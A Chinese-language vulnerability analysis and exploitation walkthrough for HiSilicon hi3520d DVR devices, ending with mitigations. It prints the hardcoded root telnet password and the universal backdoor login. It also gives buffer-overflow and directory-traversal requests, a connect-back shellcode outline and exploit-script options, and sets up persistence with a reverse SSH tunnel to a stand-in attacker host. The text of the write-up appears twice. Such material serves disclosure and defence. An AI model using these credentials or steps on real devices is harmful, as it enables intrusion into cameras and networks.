HiSilicon DVR 黑客笔记
字数 1552 2025-08-29 08:32:18

HiSilicon DVR 漏洞分析与利用指南

1. 漏洞概述

本文档详细分析了HiSilicon hi3520d SoC构建的DVR/NVR设备中存在的多个严重安全漏洞,包括:

  1. 硬编码后门密码 - 存在默认telnet密码
  2. 权限提升漏洞 - 任意应用账户可获取root shell
  3. 后门应用密码 - 通用密码可绕过认证
  4. 缓冲区溢出漏洞 - 可导致远程代码执行
  5. 目录遍历漏洞 - 可读取任意文件

这些漏洞组合可导致未经授权的远程代码执行(RCE)和设备的完全控制。

2. 设备分析

2.1 设备接口

测试设备标记为"Seculink",主要接口包括:

  • 2个USB端口
  • HDMI和VGA输出
  • 4个BNC连接器(模拟CCTV)
  • SATA存储接口
  • 以太网端口

2.2 服务扫描结果

端口扫描发现以下开放服务:

  • 23/tcp: BusyBox telnetd
  • 80/tcp: uc-httpd 1.0.0
  • 554/tcp: RTSP服务
  • 9527/tcp: 应用控制台
  • 34567/tcp: 数据端口
  • 34599/tcp: 未知服务

3. 漏洞详细分析

3.1 硬编码后门密码

/etc/passwd中发现root用户的DES密码hash:

root:absxcfbgXtb3o:0:0:root:/:/bin/sh

使用hashcat破解:

./hashcat64.bin -a3 -m1500 absxcfbgXtb3o -1 ?l?d ?1?1?1?1?1?1

破解结果为密码xc3511,可通过telnet(23/tcp)直接获取root访问。

3.2 权限提升漏洞

通过9527/tcp端口可访问应用控制台,使用任意应用凭据登录后执行shell命令可直接获取root shell。

3.3 后门应用密码

认证函数中存在硬编码后门密码I0TO5Wv9,可用于:

  • 以任何用户身份登录Web界面
  • 访问RTSP视频流
  • 通过应用控制台获取root shell

3.4 密码哈希算法

逆向分析发现密码哈希函数实现如下(Python):

import hashlib
def sofia_hash(msg):
    h = ""
    m = hashlib.md5()
    m.update(msg)
    msg_md5 = m.digest()
    for i in range(8):
        n = (ord(msg_md5[2*i]) + ord(msg_md5[2*i+1])) % 0x3e
        if n > 9:
            if n > 35:
                n += 61
            else:
                n += 55
        else:
            n += 0x30
        h += chr(n)
    return h

空密码的哈希值为tlJwpbo6

3.5 缓冲区溢出漏洞

Web服务器(80/tcp)处理GET请求时存在缓冲区溢出漏洞:

GET /[大量字符] HTTP

通过精心构造的请求可控制程序流:

  • 无NX保护(stack可执行)
  • 无ASLR保护(默认关闭)
  • 无栈保护(canary)

3.6 目录遍历漏洞

通过构造特殊路径可读取任意文件:

GET ../../etc/passwd HTTP
GET ../../proc/[pid]/smaps HTTP

4. 漏洞利用

4.1 获取固件

通过root shell获取固件:

cat /dev/mtdblock1 > /home/mtdblock1-root.img
cat /dev/mtdblock2 > /home/mtdblock2-usr.img
...

4.2 远程调试

使用gdbserver附加到目标进程:

/mnt/mtd/gdbserver --attach :2000 [pid]

本地连接:

gdb -ex 'set gnutarget elf32-littlearm' -ex 'target remote [target_ip]:2000'

4.3 缓冲区溢出利用

4.3.1 Shellcode编写

ARM架构的connect-back shellcode示例:

.section    .text
.global     _start
.code 32
_0:    add  r1, pc, #1
_4:    bx   r1
.code 16
_start:
; [shellcode实现细节...]

编译shellcode:

armv7a-hardfloat-linux-gnueabi-as shellcode.S -o shellcode.o
armv7a-hardfloat-linux-gnueabi-ld.bfd shellcode.o -o shellcode
armv7a-hardfloat-linux-gnueabi-objcopy -O binary --only-section=.text ./shellcode ./shellcode.bin

4.3.2 绕过ASLR

通过目录遍历读取/proc/[pid]/smaps获取栈地址:

GET ../../proc/610/smaps HTTP

分析smaps文件确定栈区域基址。

4.3.3 构造Payload

最终payload结构:

GET [shellcode][padding][return_address] HTTP

其中return_address指向shellcode起始地址。

4.4 自动化利用脚本

提供Python脚本pwn_hisilicon_dvr.py自动化利用过程,主要参数:

--rhost: 目标主机
--lhost: 回调IP
--lport: 回调端口
-p: 持久化
-u: 上传工具

5. 后渗透利用

获取RCE后可:

  1. 上传工具(如Dropbear SSH服务器)
  2. 建立持久化后门
  3. 创建反向SSH隧道

示例:

./dropbear -r ./dropbear_ecdsa.key -p 127.0.0.1:22
./ssh -i ./id_rsa.dropbear -N -f -T -R 2322:localhost:22 user@attacker_ip

6. 受影响设备

大量使用HiSilicon hi3520d SoC和"Sofia"固件的设备受影响,包括但不限于:

  • Vacron
  • Gess
  • Jufeng
  • LuxVision
  • 其他多个品牌

7. 缓解措施

  1. 隔离设备网络
  2. 禁用不必要的服务(telnet等)
  3. 更新到最新固件(如果可用)
  4. 使用强密码
  5. 限制网络访问

8. 结论

HiSilicon DVR设备存在多个严重漏洞,组合利用可导致设备完全控制。由于缺乏固件更新,建议替换这些设备或严格隔离其网络访问。

HiSilicon DVR 漏洞分析与利用指南 1. 漏洞概述 本文档详细分析了HiSilicon hi3520d SoC构建的DVR/NVR设备中存在的多个严重安全漏洞,包括: 硬编码后门密码 - 存在默认telnet密码 权限提升漏洞 - 任意应用账户可获取root shell 后门应用密码 - 通用密码可绕过认证 缓冲区溢出漏洞 - 可导致远程代码执行 目录遍历漏洞 - 可读取任意文件 这些漏洞组合可导致未经授权的远程代码执行(RCE)和设备的完全控制。 2. 设备分析 2.1 设备接口 测试设备标记为"Seculink",主要接口包括: 2个USB端口 HDMI和VGA输出 4个BNC连接器(模拟CCTV) SATA存储接口 以太网端口 2.2 服务扫描结果 端口扫描发现以下开放服务: 23/tcp: BusyBox telnetd 80/tcp: uc-httpd 1.0.0 554/tcp: RTSP服务 9527/tcp: 应用控制台 34567/tcp: 数据端口 34599/tcp: 未知服务 3. 漏洞详细分析 3.1 硬编码后门密码 在 /etc/passwd 中发现root用户的DES密码hash: 使用hashcat破解: 破解结果为密码 xc3511 ,可通过telnet(23/tcp)直接获取root访问。 3.2 权限提升漏洞 通过9527/tcp端口可访问应用控制台,使用任意应用凭据登录后执行 shell 命令可直接获取root shell。 3.3 后门应用密码 认证函数中存在硬编码后门密码 I0TO5Wv9 ,可用于: 以任何用户身份登录Web界面 访问RTSP视频流 通过应用控制台获取root shell 3.4 密码哈希算法 逆向分析发现密码哈希函数实现如下(Python): 空密码的哈希值为 tlJwpbo6 。 3.5 缓冲区溢出漏洞 Web服务器(80/tcp)处理GET请求时存在缓冲区溢出漏洞: 通过精心构造的请求可控制程序流: 无NX保护(stack可执行) 无ASLR保护(默认关闭) 无栈保护(canary) 3.6 目录遍历漏洞 通过构造特殊路径可读取任意文件: 4. 漏洞利用 4.1 获取固件 通过root shell获取固件: 4.2 远程调试 使用gdbserver附加到目标进程: 本地连接: 4.3 缓冲区溢出利用 4.3.1 Shellcode编写 ARM架构的connect-back shellcode示例: 编译shellcode: 4.3.2 绕过ASLR 通过目录遍历读取 /proc/[pid]/smaps 获取栈地址: 分析smaps文件确定栈区域基址。 4.3.3 构造Payload 最终payload结构: 其中return_ address指向shellcode起始地址。 4.4 自动化利用脚本 提供Python脚本 pwn_hisilicon_dvr.py 自动化利用过程,主要参数: 5. 后渗透利用 获取RCE后可: 上传工具(如Dropbear SSH服务器) 建立持久化后门 创建反向SSH隧道 示例: 6. 受影响设备 大量使用HiSilicon hi3520d SoC和"Sofia"固件的设备受影响,包括但不限于: Vacron Gess Jufeng LuxVision 其他多个品牌 7. 缓解措施 隔离设备网络 禁用不必要的服务(telnet等) 更新到最新固件(如果可用) 使用强密码 限制网络访问 8. 结论 HiSilicon DVR设备存在多个严重漏洞,组合利用可导致设备完全控制。由于缺乏固件更新,建议替换这些设备或严格隔离其网络访问。